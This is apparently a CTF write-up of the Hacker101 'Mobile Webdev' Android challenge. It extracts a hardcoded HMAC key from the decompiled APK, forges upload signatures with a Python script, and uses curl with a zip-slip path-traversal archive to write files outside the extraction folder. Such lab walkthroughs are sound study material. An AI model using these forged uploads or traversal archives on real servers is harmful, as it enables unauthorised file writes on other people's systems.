Hacker1 CTF - Mobile Webdev

Another Android CTF, but without too much Android

This moderate difficulty CTF at Hacker1 starts off by generating an APK which we can then download. Once downloaded and installed, we can see that the app allows for editing page contents via a WebView, and that's the bulk of what it does.

beamjack@pinion:~/ctf/h1/webdev$ adb install webdev.apk
Performing Streamed Install
Success

The APK

To dive in a little deeper, we can use apktool to check out what else might be happening under the covers. The tool decodes compiled APKs into .smali files and the other resources that go into an Android application. .smali files are a representation of the bytecode that is to be executed, and it is fairly readable in small doses.

A quick scan through the source code reveals some useful but expected strings, and one particularly interesting one.

There is some button click handling to load various URLs:

    const-string v0, "http://34.94.3.143/b95a1a8c1d/content/"

    invoke-virtual {p1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V

    const-string v0, "http://34.94.3.143/b95a1a8c1d/edit.php"

    invoke-virtual {p1, v0}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V

And then this member variable and an unimplemented method called Hmac.

.field protected HmacKey:Ljava/lang/String;

    const-string v0, "8c34bac50d9b096d41cafb53683b315690acf65a11b5f63250c61f7718fa1d1d"

    .line 39
    iput-object v0, p0, Lcom/hacker101/webdev/MainActivity;->HmacKey:Ljava/lang/String;
.method protected Hmac([B)Ljava/lang/String;
    .locals 1
    .annotation system Ldalvik/annotation/Throws;
        value = {
            Ljava/lang/Exception;
        }
    .end annotation

    .line 41
    new-instance p1, Ljava/lang/Exception;

    const-string v0, "TODO: Implement this and expose to JS"

    invoke-direct {p1, v0}, Ljava/lang/Exception;-><init>(Ljava/lang/String;)V

    throw p1
.end method

Presumably the "TODO" item is throwing an Exception so that the string remains in the compiled source as a hint. A comment would not have made it into the APK for us to find. Seems like a juicy hint.

The HMAC key is stable across builds, only the embedded urls change, in order to communicate with the changing ip address & hash of the challenge VM.

It should also be noted that JavaScript is enabled for the WebView, all of this leading us to believe we ought to implement that method for some reason.

    invoke-virtual {p1, v0}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V

The Web pages

Well, if the app is basically a WebView and some buttons, and it has JavaScript enabled, and an unimplemented method that says it should be exposed to JavaScript, that all seems to indicate we ought to do that. But wait, before we bother, let's just use a browser to poke around first. We have questions:

None of the pages have any JavaScript, so maybe that's a dead end. We can put our own scripts in the content we post, but other than a dead simple XSS there doesn't seem to be much point.

Looking at the source of the pages also turns up another URL, not found in the Android app:

<h1>Edit Contents</h1>
<!-- <a href="upload.php">Upload</a> -->
<ul>
<li><a href="edit.php?file=index.html">index.html</a></li>
</ul>

So there is an upload path, that the app doesn't use. It shows a form with a file chooser set to expect a .zip file. If we choose a zip file and hit Submit we get:

HMAC missing.

HMAC, or Hash based Message Authentication Code, is a way of ensuring the integrity and authenticity of some data sent in a message. One assumes the use of HMAC here is to attempt to guarantee that only the app can upload files, by calculating the HMAC using the key in the source and the data of the file to be uploaded. This would be true, if it weren't so easy to get the key (that's supposed to be a secret).

It turns out you can edit other pages too by changing the ?file=index.html query parameter on the URL but that ends up not mattering for capturing the flags.

I also thought that the header sent along with all the requests from the app's WebView might be necessary, so you'll see "X-Requested-With: com.hacker101.webdev" in these examples, but it's not needed.

No need for an app

Since we are now pretty convinced we can upload a file of our choosing, that it should probably be a .zip file, and that we need to supply the correct HMAC, there is really no need to modify and recompile the Android app, though that might be an interesting exercise itself. Let's use a little python to calculate the HMAC for a file, using the key we extracted from the APK.

import sys
import hmac
import hashlib
import binascii

key = binascii.unhexlify('8c34bac50d9b096d41cafb53683b315690acf65a11b5f63250c61f7718fa1d1d')

with open(sys.argv[1], 'rb') as f:
    data = f.read()

h = hmac.new(key, data, hashlib.md5)
print(h.hexdigest())

Calculate the HMAC for our test.zip file:

beamjack@pinion:~/ctf/h1/webdev$ python3 lee_hmac.py test.zip
a75ec3ae9d42f6a036a9dcbc805855ff

Then just use cURL to make the request:

beamjack@pinion$ curl -vvv -H "X-Requested-With:com.hacker101.webdev" -F hmac=a75ec3ae9d42f6a036a9dcbc805855ff -F file=@test.zip http://34.94.3.143/3859169b7a/upload.php
*   Trying 34.94.3.143:80...
* Connected to 34.94.3.143 (34.94.3.143) port 80 (#0)
> POST /3859169b7a/upload.php HTTP/1.1
> Host: 34.94.3.143
> User-Agent: curl/7.74.0
> Accept: */*
> X-Requested-With:com.hacker101.webdev
> Content-Length: 903
> Content-Type: multipart/form-data; boundary=------------------------10e3fbb38bbba098
> 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Mon, 15 Feb 2021 19:11:51 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 135
< Connection: keep-alive
< 
* Connection #0 to host 34.94.3.143 left intact
Extracted to temp folder. TODO: Copy to content directory. ^FLAG^1$FLAG$

And there we go.

But wait, there's more

So that was the first flag, and it also gives us a hint about what the next flag is probably about. Since it tells us (for some reason) that the file was unzipped to a temporary directory, we should probably use that somehow. We could try guessing at where it unzips, but maybe it doesn't matter. If you know that a zip file has a directory structure, and that when you unzip it, it attempts to extract that structure relative to where you're unzipping it from, you could make the mere unzipping of your file write to somewhere else in the file system that the unzipping processes has write permission for. Note that the HMAC has to be recalculated for this new file, because its contents are different than the original.

beamjack@pinion:~/ctf/h1/webdev$ unzip -l test2.zip 
Archive:  test2.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        7  2021-02-15 11:22   ../../../../../foo.txt
---------                     -------
        7                     1 file
beamjack@pinion:~/ctf/h1/webdev$ curl -vvv -H "X-Requested-With:com.hacker101.webdev" -F hmac=d277edb11d21f6cef28ac29ddb54cc35 -F file=@test2.zip http://34.94.3.143/3859169b7a/upload.php
*   Trying 34.94.3.143:80...
* Connected to 34.94.3.143 (34.94.3.143) port 80 (#0)
> POST /3859169b7a/upload.php HTTP/1.1
> Host: 34.94.3.143
> User-Agent: curl/7.74.0
> Accept: */*
> X-Requested-With:com.hacker101.webdev
> Content-Length: 527
> Content-Type: multipart/form-data; boundary=------------------------9c40f06cb252133d
> 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Mon, 15 Feb 2021 19:23:14 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 184
< Connection: keep-alive
< 
* Connection #0 to host 34.94.3.143 left intact
Valid HMAC: ^FLAG^1$FLAG$<br>Path traversal: ^FLAG^2$FLAG$

Yep, flag 2 is because we showed we can use directory traversal to write a file of our choice where we want.